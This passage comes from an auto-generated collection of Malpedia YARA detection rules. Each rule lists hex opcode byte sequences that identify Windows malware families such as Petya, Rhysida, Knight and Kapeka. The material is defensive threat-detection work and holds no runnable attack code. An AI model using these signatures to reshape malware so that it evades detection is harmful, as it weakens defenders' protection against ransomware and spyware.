		$sequence_9 = { b9dccc0000 e9???????? b9cecc0000 e9???????? b9c7cc0000 e9???????? }
	condition:
		7 of them and filesize < 1458176
}

rule MALPEDIA_Win_Petya_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "6e25f6ba-0f88-5dbc-a462-9f4861151314"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.petya"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.petya_auto.yar#L1-L123"
		license_url = "N/A"
		logic_hash = "e12039168edf2e4657ffd112871fe75ec301f0f0758dfc0dfdc297a04b207216"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8bc7 c1e810 88442431 8bc7 c1e808 88442432 }
		$sequence_1 = { 117c2434 33f6 0facc81c c1e204 0bf0 c1e91c }
		$sequence_2 = { 56 8b35???????? 33c9 57 33ff 8d0486 8bd8 }
		$sequence_3 = { 83c604 3bfb 72f0 5f 5e 5b }
		$sequence_4 = { 0bf1 33442424 33fe 23442420 }
		$sequence_5 = { 8b4c2420 33fe 8bf0 33da 0facc80e 33d2 c1e612 }
		$sequence_6 = { 8bca 88442428 8bc6 c1e810 88442429 8bc6 }
		$sequence_7 = { 56 8b750c 57 83fe01 7517 }
		$sequence_8 = { 8bca c1e303 0facc110 897c2424 c1e810 8bc2 884c242d }
		$sequence_9 = { 8b5d0c 33c9 56 8b7508 2bde }
	condition:
		7 of them and filesize < 229376
}

rule MALPEDIA_Win_Newsreels_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "e9b53256-b535-5dc7-8672-9faed5bf005d"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.newsreels"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.newsreels_auto.yar#L1-L119"
		license_url = "N/A"
		logic_hash = "a1151606e01c8e298edbe7dd1574962a9c78cdce343ec52b131b424fbeb15649"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { c1e902 f3a5 a1???????? 8bcd 83e103 }
		$sequence_1 = { 83c41c 85f6 750b 5f }
		$sequence_2 = { ff15???????? 8b8c241c030000 8dbc240c010000 51 83c9ff 33c0 }
		$sequence_3 = { 56 ff15???????? 8be8 85ed 750e 56 }
		$sequence_4 = { 83c410 c6043000 5e 5d 5b 81c4a0010000 }
		$sequence_5 = { 83c408 85db 750a 5e 5d }
		$sequence_6 = { 83c703 c1f902 83e13f 897c2424 8a81305d4000 88441efc 8a4c2ffd }
		$sequence_7 = { 80e301 881c30 40 83f808 }
		$sequence_8 = { 7415 53 e8???????? 83c404 33c0 }
		$sequence_9 = { f7d1 2bf9 6a4d 8bf7 8bd9 8bfa 83c9ff }
	condition:
		7 of them and filesize < 65536
}

rule MALPEDIA_Win_Nikitear_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "f8fdb193-3c11-59c1-829a-a9eb5f221c83"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nikitear"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nikitear_auto.yar#L1-L130"
		license_url = "N/A"
		logic_hash = "78bbb5bb165f52797af65de0137f35c2d932f8f5aaa20ce84f06a64d8b20f48b"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 488d8d60010000 ffd0 33c0 c74424204004242e 8844242c }
		$sequence_1 = { 8d419f 3c19 7706 448d49b9 eb24 8d41d0 3c09 }
		$sequence_2 = { 48635708 4c8d3dcce5feff 48035508 0fb60a 83e10f 4a0fbe843908460300 428a8c3918460300 }
		$sequence_3 = { 488d4c2440 4885f6 743f 4c8d054ff7fdff 483bca 7333 80390d }
		$sequence_4 = { 4c03f3 4c8b6c2460 4b8d0427 4c3bf0 0f94c0 488b4df8 4833cc }
		$sequence_5 = { 488d151e570200 488d0de7560200 e8???????? 85c0 7529 }
		$sequence_6 = { 39b42480000000 747b 4c8d0576ce0100 498b04e8 f644f83848 7441 0fb7442470 }
		$sequence_7 = { 44884c2420 41b901000000 4533c0 418bd1 488bcb e8???????? 83e73f }
		$sequence_8 = { 48ffc1 4883f90d 7306 0fb65590 ebea 0fb64591 8bce }
		$sequence_9 = { 4883c227 482bc1 4883c0f8 4883f81f 772a e8???????? 488b4310 }
	condition:
		7 of them and filesize < 610304
}

rule MALPEDIA_Win_Putabmow_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "91e8d589-44ec-5d63-963b-4d5831e9d035"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.putabmow"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.putabmow_auto.yar#L1-L131"
		license_url = "N/A"
		logic_hash = "b27fa1335b6a432b3b5508ab17de3d0a99cf669e0fc066f733c76db90efddfc9"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 6200 3100 680032006f 0033 0010 0035???????? 007b00 }
		$sequence_1 = { e8???????? c645fc06 8b467c 89477c 8b8680000000 898780000000 8b8684000000 }
		$sequence_2 = { 32db c78424200b000021000000 8b442418 a802 }
		$sequence_3 = { c1f905 83e107 094828 8a5201 f6c204 7404 83482810 }
		$sequence_4 = { 3901 61 0039 016200 3f 016300 3f }
		$sequence_5 = { 8b4df8 8bd6 ff75e8 57 ff75f0 6a00 50 }
		$sequence_6 = { 8d8c24b0070000 ff30 e8???????? c68424200b00004c 8d8424e0000000 50 8d8c24f8040000 }
		$sequence_7 = { c684249404000000 84db 0f8493010000 f7462800004000 8d5618 7502 8b12 }
		$sequence_8 = { 3bf1 7608 89442420 2bf1 eb02 33f6 8b4314 }
		$sequence_9 = { 888630977300 46 ebe5 a1???????? 83c9ff f00fc108 7513 }
	condition:
		7 of them and filesize < 704512
}

rule MALPEDIA_Win_Banpolmex_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "09c8ccaf-8f5a-5f11-8d59-2eeae879be55"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.banpolmex"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.banpolmex_auto.yar#L1-L133"
		license_url = "N/A"
		logic_hash = "ca7f23e428ff171c615716f21966c01f85ab62bd4b01db41e41afe5b6847958b"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 488bcf e8???????? e9???????? 3d4c494b50 7515 488d4c2430 4c8bc7 }
		$sequence_1 = { 488b4d07 4885c9 7406 ff15???????? 4183fd04 7512 488d1560960200 }
		$sequence_2 = { 418bc0 c1e808 0fb6c8 418b848a20de0800 250000ff00 33d0 }
		$sequence_3 = { 8944246c 8bf8 ff15???????? 488bd8 4885c0 0f847e010000 8d4e40 }
		$sequence_4 = { 410fb6c5 45338487000c0000 4433460c 418bc0 c1e810 0fb6d0 418bc1 }
		$sequence_5 = { 0f47d0 8915???????? 488d0d42130900 e8???????? 4c8b6c2468 4c8b642470 488bac24a0000000 }
		$sequence_6 = { 7439 4883c420 5b c3 488d91d0000000 41b840000000 e8???????? }
		$sequence_7 = { 4885ff 7406 89aee4000000 4885db 7406 89aee0000000 33c0 }
		$sequence_8 = { 488d542440 4c8bc3 488bc8 488bf8 c744244000000400 e8???????? 33ed }
		$sequence_9 = { 488bd3 488bcf e8???????? 85c0 78ba 8b03 803c3805 }
	condition:
		7 of them and filesize < 1555456
}

rule MALPEDIA_Win_Open_Carrot_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "83f461b8-8266-54de-aecf-ccf2d96f380a"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.open_carrot"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.open_carrot_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "e66ea48fe876b6e65527515af0e78a716fad581d1208dc43cfdbcb201ec0f71a"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 66894110 837de801 0f8588000000 488bc7 80bdfa00000001 7545 0f1f440000 }
		$sequence_1 = { e8???????? 4863d7 4c8d05dbdc0f00 41b9e3010000 498bce e8???????? 418bc7 }
		$sequence_2 = { 80fb00 0f846c000000 4d31e5 4881e700080000 49c7c501000000 4989eb 4881e190000000 }
		$sequence_3 = { 55 48bd612fef7700000000 48016c2408 5d 8f042b 48812c2b612fef77 50 }
		$sequence_4 = { 4d29c9 0137 4981e13f000000 4889eb 4881c306010000 4d09c1 2933 }
		$sequence_5 = { 8bd6 488d8d10070000 e8???????? 85c0 400f94c7 eb03 4032ff }
		$sequence_6 = { e8???????? 498bcd e8???????? 448b442434 4c8d0dc8cb0d00 ba72000000 c744242082020000 }
		$sequence_7 = { 4c8d8594080000 4489b520030000 bacc010000 488d8d24030000 e8???????? 448bad20030000 448b4c2438 }
		$sequence_8 = { 68bc5c574f 4150 4d89f0 4150 8f442408 4158 8f0424 }
		$sequence_9 = { 488d1575381000 41b872010000 e8???????? 48638300020000 4c89bcc380000000 48638300020000 488b6c2448 }
	condition:
		7 of them and filesize < 8377344
}

rule MALPEDIA_Win_Selfmake_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "14e0b71d-d2cd-519a-a7ac-d6d6b6506061"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.selfmake"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.selfmake_auto.yar#L1-L120"
		license_url = "N/A"
		logic_hash = "08e1e6c97c92f2a3bf3c8dda29bd3cb3a7515a9d0a9d08d73c9a2b096d151fb4"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? c644247801 837c244810 720d }
		$sequence_1 = { c1e902 8bf2 f3a5 8bc8 83e103 6a0a f3a4 }
		$sequence_2 = { 68???????? e8???????? 83c040 50 e8???????? 8b5608 8b4254 }
		$sequence_3 = { 57 8d7c2414 e8???????? 83c404 83f8ff 751d 68???????? }
		$sequence_4 = { 3bf3 760a 2bf3 eb08 8b5c246c ebe7 }
		$sequence_5 = { 83c408 6818020000 6a00 8d8de0fdffff 51 e8???????? 83c40c }
		$sequence_6 = { 8be8 6a1f 55 ff15???????? }
		$sequence_7 = { 80387f 0f844e010000 8bc2 83f910 }
		$sequence_8 = { 51 8b95a0fbffff 52 ff15???????? 8945f8 837df800 }
		$sequence_9 = { 33c0 e9???????? 8d95c0fbffff 52 }
	condition:
		7 of them and filesize < 932864
}

rule MALPEDIA_Win_Kgh_Spy_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "dc190002-e772-5121-92cd-702f57df5a52"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kgh_spy"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.kgh_spy_auto.yar#L1-L128"
		license_url = "N/A"
		logic_hash = "e5faa391b98537b62aa0655593e441fa8bf7b12383d96ea8cca680986ba0c716"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ff15???????? 488b8c24a0000000 ff15???????? 0fb605???????? 88842480010000 488d842481010000 488bf8 }
		$sequence_1 = { 488d0dd0fd0000 e8???????? c744244000000000 c744244800000000 488d442460 488d0def150100 488bf8 }
		$sequence_2 = { ff15???????? 4889442468 48837c246800 7507 32c0 e9???????? 48c744243800000000 }
		$sequence_3 = { 448d4202 e8???????? 8bcb e8???????? 85c0 0f84bc020000 488d0517bf0000 }
		$sequence_4 = { 75eb 488b442430 488b8c2490000000 4803c8 488bc1 }
		$sequence_5 = { e8???????? 488905???????? 48833d????????00 7504 32c0 eb26 ba855d05a6 }
		$sequence_6 = { 488d8424f0030000 488bf8 33c0 b908020000 f3aa 4c8d0df7e30000 }
		$sequence_7 = { 89442428 488d8424300e0000 4889442420 448bc9 4c8d8424300a0000 }
		$sequence_8 = { 488b442428 8b4c2430 894808 4863442424 4889442440 488b7c2430 33c0 }
		$sequence_9 = { ff15???????? 0fb605???????? 888424a0030000 488d8424a1030000 488bf8 33c0 }
	condition:
		7 of them and filesize < 207872
}

rule MALPEDIA_Win_Grateful_Pos_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "7572cc07-80f2-55f7-bf6f-ae8865b15e70"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.grateful_pos"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.grateful_pos_auto.yar#L1-L163"
		license_url = "N/A"
		logic_hash = "6a2ca8a11a50086a2cefa0fa6fd58b658c3b7b35f75875da8a4dcf3d3e8baf00"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 7411 e8???????? e8???????? 33c0 e9???????? }
		$sequence_1 = { eb07 b8fcffffff eb02 33c0 }
		$sequence_2 = { e8???????? 99 b980ee3600 f7f9 }
		$sequence_3 = { 83f801 7510 e8???????? e8???????? }
		$sequence_4 = { 7407 b8f6ffffff eb02 33c0 }
		$sequence_5 = { b8feffffff eb1a b8fdffffff eb13 b8fcffffff }
		$sequence_6 = { 0385d0fbffff 8985d0fbffff 6a18 6a00 8d4de4 51 e8???????? }
		$sequence_7 = { 0fb61401 52 b804000000 6bc000 }
		$sequence_8 = { 83e80e 50 e8???????? 83c40c 85c0 7457 6a03 }
		$sequence_9 = { 894110 8b550c 8b420c c1e803 50 68ff000000 8b4dfc }
		$sequence_10 = { 0f8c8c000000 8b8df8fffdff 0fb6940dfafffdff 83fa3a }
		$sequence_11 = { 83bdd0fbffff00 7568 6a0f 8b85e0fbffff 83e80f }
		$sequence_12 = { 83f830 7c62 8b8df8fffdff 0fb6940dfefffdff }
		$sequence_13 = { 8945fc c785f8fbffff00000000 c785e8fbffff00000000 8b4508 50 6a00 6810040000 }
		$sequence_14 = { 0fbe0401 83f04d 88842486010000 b801000000 486bc037 }
		$sequence_15 = { ff15???????? 837c246400 750a b801000000 e9???????? }
	condition:
		7 of them and filesize < 3964928
}

rule MALPEDIA_Win_Knight_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "5c56e315-5200-56d5-8f06-4a544e9166d5"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.knight"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.knight_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "5179c3d4ae4d3eb009209c68a9fa6d8609b0788178a723a29c116931afb57a36"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { eb7a 4889bc24a8010000 4889b424b0010000 c644243700 488b9424c8010000 488b02 ffd0 }
		$sequence_1 = { e9???????? e8???????? 48898424d8000000 48899c2488000000 90 488d05b9951400 e8???????? }
		$sequence_2 = { eb0a 488d3555d71700 4889c7 4c8b87c0000000 4c8b8fc8000000 0f1f4000 4d85c0 }
		$sequence_3 = { eb1c 4889c7 488b8c24e0230000 e8???????? 488d3dcf083000 e8???????? 6690 }
		$sequence_4 = { 4d3b6610 0f86a3010000 4881eca0000000 4889ac2498000000 488dac2498000000 48bae36f8e02db14e6c7 488954241f }
		$sequence_5 = { 90 e8???????? e8???????? 4889c1 4889df 488d0589551f00 488b9c2400070000 }
		$sequence_6 = { eb0c 488d3da69a4c00 e8???????? e8???????? 48891d???????? 833d????????00 7509 }
		$sequence_7 = { ffc2 85d2 7d10 488d057e863800 31db 31c9 e8???????? }
		$sequence_8 = { ffd1 4889842438010000 48899c2490000000 488d0517dd1700 e8???????? 488b8c2490000000 48894808 }
		$sequence_9 = { e8???????? f20f108424f0000000 f20f108c24c0000000 0f57d2 660f2ed0 7613 f20f101d???????? }
	condition:
		7 of them and filesize < 12149760
}

rule MALPEDIA_Win_Unidentified_070_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "bc99ca5b-4d55-52a4-9778-97da0dfa2869"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_070"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_070_auto.yar#L1-L120"
		license_url = "N/A"
		logic_hash = "2ece2222d59166146594c492cc62e3c6aa195983d54a5768c5b3c1160f95e1d0"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 6a00 6a00 6a00 6a04 50 ff15???????? 8945fc }
		$sequence_1 = { 6a04 50 ff15???????? 8945fc 85c0 }
		$sequence_2 = { 6a00 6a00 6a04 50 ff15???????? 8945fc 85c0 }
		$sequence_3 = { 6a00 6a04 50 ff15???????? 8945fc 85c0 }
		$sequence_4 = { 6a00 6a04 50 ff15???????? 8945fc }
		$sequence_5 = { 33c0 c20400 3b0d???????? 7502 }
		$sequence_6 = { 6a00 6a00 6a04 50 ff15???????? 8945fc }
		$sequence_7 = { 83f8ff 50 0f95c3 ff15???????? 8d85f4fdffff }
		$sequence_8 = { 6a00 6a00 6800200000 6a01 8d8424e8000000 }
		$sequence_9 = { 6a00 6a00 68???????? 8d85f4fdffff 50 6a00 }
	condition:
		7 of them and filesize < 90112
}

rule MALPEDIA_Win_Rhysida_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "56c97e20-7a99-5fbc-90fd-a6127fd088f8"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rhysida"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rhysida_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "60516db4e2b578f830c415644222719cb56ab464473054de682480b20c1eaa3f"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 4183c201 4883c108 4d8d3404 4889c5 4d89f4 49c1ec3c 4539d0 }
		$sequence_1 = { 488b4510 8b4004 85c0 750a 488b4510 8b5520 895024 }
		$sequence_2 = { f30f5e45fc f30f1145f8 488b4518 f30f1000 f30f5945f8 f30f2cc0 89c2 }
		$sequence_3 = { 8d7802 430fb60c2a 43300c2b 448d6803 410fb62c12 450fb6043a 41302c13 }
		$sequence_4 = { eb18 8b8598000000 898588000000 8b8594000000 898584000000 8b85b4000000 8d5001 }
		$sequence_5 = { 41c1e818 46332483 4189e8 45332492 0fb6d4 44332491 4531e0 }
		$sequence_6 = { 85d2 0f8f92050000 ba01000000 bd01000000 4531db 4d63cb 49beffffffffffffff0f }
		$sequence_7 = { ffd0 c7850c11000000000000 c7850811000000000000 c7850411000000000000 c785dc0d000000000000 c785d80d000000000000 83bd4811000002 }
		$sequence_8 = { c1e903 f348ab ff15???????? 83f812 7472 488b8b38020000 e8???????? }
		$sequence_9 = { 4589542408 33460c 8b742444 418b2cb3 448b742458 81e5000000ff 478b1cb3 }
	condition:
		7 of them and filesize < 2369536
}

rule MALPEDIA_Win_Xxmm_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "800c8101-0763-52f5-a1e9-65fcf4499abd"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.xxmm"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.xxmm_auto.yar#L1-L120"
		license_url = "N/A"
		logic_hash = "b2b78d64096201d10c34f38aaeb6c676ad8ec13dc60f928c2884568102dbff1f"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 895d08 47 81e7ff000080 7908 }
		$sequence_1 = { 8a0408 8b55fc 320432 8806 46 ff4d08 759b }
		$sequence_2 = { 23c3 013c08 eb1e 6683ff01 }
		$sequence_3 = { 8b45f4 83c704 85c0 7406 }
		$sequence_4 = { 7580 8b45f8 2b4634 83bea400000000 8945fc 0f8481000000 8b96a0000000 }
		$sequence_5 = { 8d040f 0fb610 035510 81e2ff000080 7908 }
		$sequence_6 = { 3bc1 0f8568feffff 8b733c 6a40 6800300000 03f3 ff7650 }
		$sequence_7 = { 23c3 66013c08 8b45e0 8345f402 85c0 }
		$sequence_8 = { 77b7 8b45f0 8b5dfc 33c9 394de4 7414 }
		$sequence_9 = { 8945fc e8???????? 8b45fc 6800240000 bf???????? 03c3 57 }
	condition:
		7 of them and filesize < 540672
}

rule MALPEDIA_Win_Kapeka_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "7a97f5ec-4398-5b2b-8ee0-712591242f63"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kapeka"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.kapeka_auto.yar#L1-L131"
		license_url = "N/A"
		logic_hash = "3423309dd00c2032617bc59ad3fa8dc9a6be83aaab30c6da6deeede3840c0066"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 498bcf e8???????? 488d15a8530100 488bc8 e8???????? ba02100000 488d4d10 }
		$sequence_1 = { 488bda 488bf9 e8???????? 488bd3 48895f28 488bcf e8???????? }
		$sequence_2 = { 488bc8 e8???????? 488be8 eb03 488bef 488d4c2420 e8???????? }
		$sequence_3 = { 4803c8 e8???????? 488b442468 488b4c2460 482bc1 }
		$sequence_4 = { 418bc3 c1e810 0fb6c8 418bbc9470dd0100 4133bc8c70d90100 8bc6 48c1e818 }
		$sequence_5 = { 8d4f01 e8???????? 488b4b10 488903 48894308 488b5328 }
		$sequence_6 = { 57 4154 4157 4883ec70 488bf9 4c8d252b470100 4c8921 }
		$sequence_7 = { e8???????? 488bcb e8???????? 488b5c2430 48894728 4883c420 5f }
		$sequence_8 = { 418bc2 c1e810 0fb6c8 418bc3 418bb49670dd0100 48c1e818 4133b48e70d90100 }
		$sequence_9 = { 488b442468 4c894138 4533c0 48895158 33d2 48894150 4c894940 }
	condition:
		7 of them and filesize < 377856
}

rule MALPEDIA_Win_Parasite_Http_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "428f5b1a-bef9-53b1-98cc-8fc8771086ec"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.parasite_http"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.parasite_http_auto.yar#L1-L133"
		license_url = "N/A"
		logic_hash = "17acd197a87921b670f888ee97c4d2fb4638cc1589bba3924516c4ae4f9f894f"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 83c602 43 3b5df4 72e6 8b7de4 eb07 8bcf }
		$sequence_1 = { ff75f4 6aff ff15???????? 5f 5e 8bc3 5b }
		$sequence_2 = { 8d95d4fdffff c785d4fdffff2c020000 8bce e8???????? e9???????? e8???????? 8b8ddcfdffff }
